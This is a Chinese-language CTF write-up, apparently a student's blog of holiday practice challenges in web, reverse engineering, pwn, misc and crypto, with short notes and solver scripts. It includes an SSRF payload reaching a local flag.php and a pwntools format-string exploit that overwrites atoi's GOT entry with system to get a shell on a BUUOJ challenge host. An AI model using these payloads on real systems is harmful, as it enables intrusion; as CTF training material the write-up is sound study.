假期作业(每天5题)

WEB

1.7:bugku没人比我更懂正则

8d2c552f4c334ec0bbbeb274d19534ab.png注释提示:要进flag.php

读代码:拼接zero和first两个变量
不能出现..和flag,\056\160\150\x70(匹配的应该是.php),substr()去掉了first的前5个字符430b089cc7554dd5b0dce28f02468953.png一直做不对,再认真读:"\"转义符在"|"前面,就不是“或"的作用了,是匹配了字符串”|.php“f9893eb2f7a24747b5271d5ec500d56c.png

 1.8:bugku本地管理员

先看源代码,获得账户密码admin:test123,登录不进去

提示本地管理员:c567753b10a346be86b2199ccebbf5bf.png

1.9 ssrfme

52e9a635ef4f493db4dd7db02ad7e974.png

(函数:获取参数中的正确格式的host,要求符合红色的4个ip)

?url=http://127.0.0.0/flag.php/

 

RE

1签退

后缀.pyc,和.py很像,可是改后缀打不开,010查看了一下,有很多python的内容

百度后缀,知道要先反编译;

打开py文件

代码处理顺序——base64,凯撒2位

逆向操作——凯撒24位,base64出flag

2game

d2ac963182c843a4b8dbc5767dd71a20.png

进入三个函数:三关游戏都得到1分(成功)

函数一:34a52eefe82546e684884975eed98065.png

读取输入
与字符串guess666作比较
函数二:d74c7b359b89400695e00fef9a89d24d.png

3行3列互不相等的数独
函数三:56a38903974c420ab3d7b6527e71f328.png

起点(1,1),终点(31,19)的迷宫
shift+E提取迷宫
以为常规操作,结果怎么做都做不出来
——问题出在了:最后那个函数(等我再研究研究,就是被一行自增控住了)

 3easyre

8c9c714f22a14deb9d39e427462aec67.png

熟悉写简单的python

​v8 = "ebmarah"
v9 = ":\"AL_RT^L*.?+6/46"
v7 = 7
flag = ""
for i in range(0,len(v9)):
    flag += chr(ord(v8[i%v7]) ^ ord(v9[i]))
print(flag)

​

PWN

1数学99

三个题:

#int类型最大就2**31-1,利用溢出

1加法:整数溢出,直接a=8,b=2**32-1

2乘法:也是整数溢出,直接因数分解2**32

3除法:浮点溢出错误,a=-2**32,b=-1

2(动态调试)

运行程序就提示找不到LICENSE

IDA这题直接图形模式,F2下断点,F9运行跟着分支走

——要存在一个文件,并对文件的字数和内容做了点要求,满足就好

再运行程序就给出了flag

 a9010dfd9f594c8d8828752c3b528a7b.png

3pwn5

read()写了大小63(小于100),不存在栈溢出漏洞

printf()没写类型,利用格式化漏洞。尝试:
利用格式化字符串漏洞,篡改atoi的GOT表地址修改为system函数的地址
#pwntools里的fmtstr_payload函数:用来简化格式化字符串的构造

from pwn import *
#context.log_level = "DEBUG"
ifRemote = 1
if ifRemote:
	p = remote("node4.buuoj.cn",26480)
else:
	p = process("./pwn")

elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_sym = elf.sym['system']

print("atoi_got:",hex(atoi_got))
print("system_sym:",hex(system_sym))
payload=fmtstr_payload(10,{atoi_got:system_sym})
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()

 

 

MISC:

1(salted)

53aaefcc805940d4b79a403127384d3d.png

base64解密,开头就是salted(AES DES RC4 Rabbit TripleDes)

c7b573216ce741969916395d8bb2ff6b.png

试了试是Rabbit

全是大写,base32解码;python转字符

hex_string=''
flag_string= ''.join(chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2))
print(flag_string)

2碑寺64卦

文件头前面有东西,恢复,查看图片

每个卦由六横组成:阳1,阴0

每六个二进制转为十进制(正在尝试以后用pyhton自动截取自动读...)

(数字从5到56)对照base64码表,再解base64

3(博多式电报机——博多码)

不止有摩斯密码

4misc1_共婵娟

1b4b0e842bc144f1b9b75d7dd0dbc0ab.png

破解zip

提示,都要是数字,long是指什么:

是long类型进行bytes_to_long操作(F)

直接的26字母表:A-1 B-2...

图片foremost,图片找密码

(以后怎么能够从第一步就找到所有hid)

改高操作

流量分析

全是USB协议

USB键盘流量数据分析与键盘按键值解码-CSDN博客

USB(键盘)流量分析_usb流量分析-CSDN博客

【流量分析】USB键盘与鼠标流量分析_ctf usb流量分析-CSDN博客

kali下提取len=35指令:

tshark -r mysterious.pcapng -T fields -e usb.capdata -Y frame.len==35 >1.txt

 base解码

前半段是base64,后半段不是

想办法分开,尝试先把==结尾的base64分开,

再对后半部分尝试解码,确实都不是base64,没有等号有小写,尝试base58解码

emoji解密

base解码

还是没有=,有小写,但有I字母,不满足base58,base64解码

仿射密码

6 9 12...

仿射密码详解-CSDN博客

 

 

 

 

5misc2_洗寰瀛

6misc3_人生由命

7附加misc_问青天

8散乱的密码

lf5{ag024c483549d7fd@@1} 一张纸条上凌乱的写着2 1 6 5 3 4

顺着一行一行排在六个数字下面

按123456列重排39fc16ffcba546dfa497d37b3bd88f22.png

9MRCTF2020_你能看懂音符吗


010查看,标识头错误修复
使用binwalk,音符解密https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue

 

 

 

 

 

 

 

CRYPTO

1.小蓝鲨的方程

步骤和RSA一样,最后多了一步怎么求得指数:

(1+x)的n次方,拆n+1项就可以把n解出来的

2.大牛的密码

6b9fbb2e20a54ab7a4ddc1ea2e76fe15.png

 

 

3.BUUCTF_Crypto题目:救世捷径

单源点最短路径算法:dijstra算法

找个脚本

graph=[]

for i in range(27):

    graph.append([]) #在一个list中放27个list,索引0-26

for i in range(27):

    for j in range(27):

        graph[i].append(0xffff) #先将图中各个顶点之间的距离初始化为一个比较大的数

f=open('./Downloads/dij.txt','r').readlines() #按行读取,每行内容是list中的一个元素,全部内容组成一个整体的list

#这里需要先手动将txt文件中的最后一行换行去掉否则会多一个'\n'

#print(f)

li=[]

for x in f:

    li.append(x.strip().split(' ')) #strip()删除字符串前后空格,这里是去掉了最后的换行符'\n',然后再按' '分割每行的每个元素,原本在同一子list中的一行元素也彼此独立出来

#print(li)

for x in li:

    graph[int(x[0])][int(x[1])]=int(x[2])

    graph[int(x[1])][int(x[0])]=int(x[2])



def try_dijstra():

    min_d=[0xffff for i in range(27)] #记录点i到起点1的最短距离

    route=[1 for i in range(27)] #记录前驱顶点

    isSure=[0 for i in range(27)] #记录各点到起点距离是否已经确定

    for i in range(2,27):

        min_d[i]=graph[i][1] #初始化一下能直连1的顶点和1的距离

    min_d[1]=0

    isSure[1]=1



    for i in range(26):

        min=0xfffff

        temp=-1

        for j in range(2,27): # 找到当前离顶点1最近的顶点加入已经确定的“顶点阵营”

            if isSure[j]==0 and min>min_d[j]:

                min=min_d[j]

                temp=j

        isSure[temp]=1

        for j in range(2,27):# 判断从顶点1开始,在经过该顶点后,再到达其邻接顶点的距离,是否比其邻接顶点原本到顶点1的距离更近,如果更近就更新最短距离

            if min_d[j]>min_d[temp]+graph[temp][j]:

                min_d[j]=min_d[temp]+graph[temp][j]

                route[j]=temp

    return (route,min_d)



route,min_d=try_dijstra()

print(min_d[26]) #最短距离

print(route) #前驱顶点



passv=[] #存放顶点之间的“内容”(内容最后要组成flag

for i in range(27):

    passv.append([]) # 还是在一个list中放27个list

for i in range(27):

    for j in range(27):

        passv[i].append(0) #需要将内部list中初始化出27个“位置”否则会报错索引越界

for x in li:

    passv[int(x[0])][int(x[1])]=x[3]

    passv[int(x[1])][int(x[0])]=x[3]



y=26

l=[]

while y!=1:

    print(y) #输出终点到起点的最短路径经过的顶点

    l.append(passv[y][route[y]]) #y到其前驱顶点route[y]之间的内容

    y=route[y]

print()

l=l[::-1]

for i in range(len(l)):

    print(l[i],end='')

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值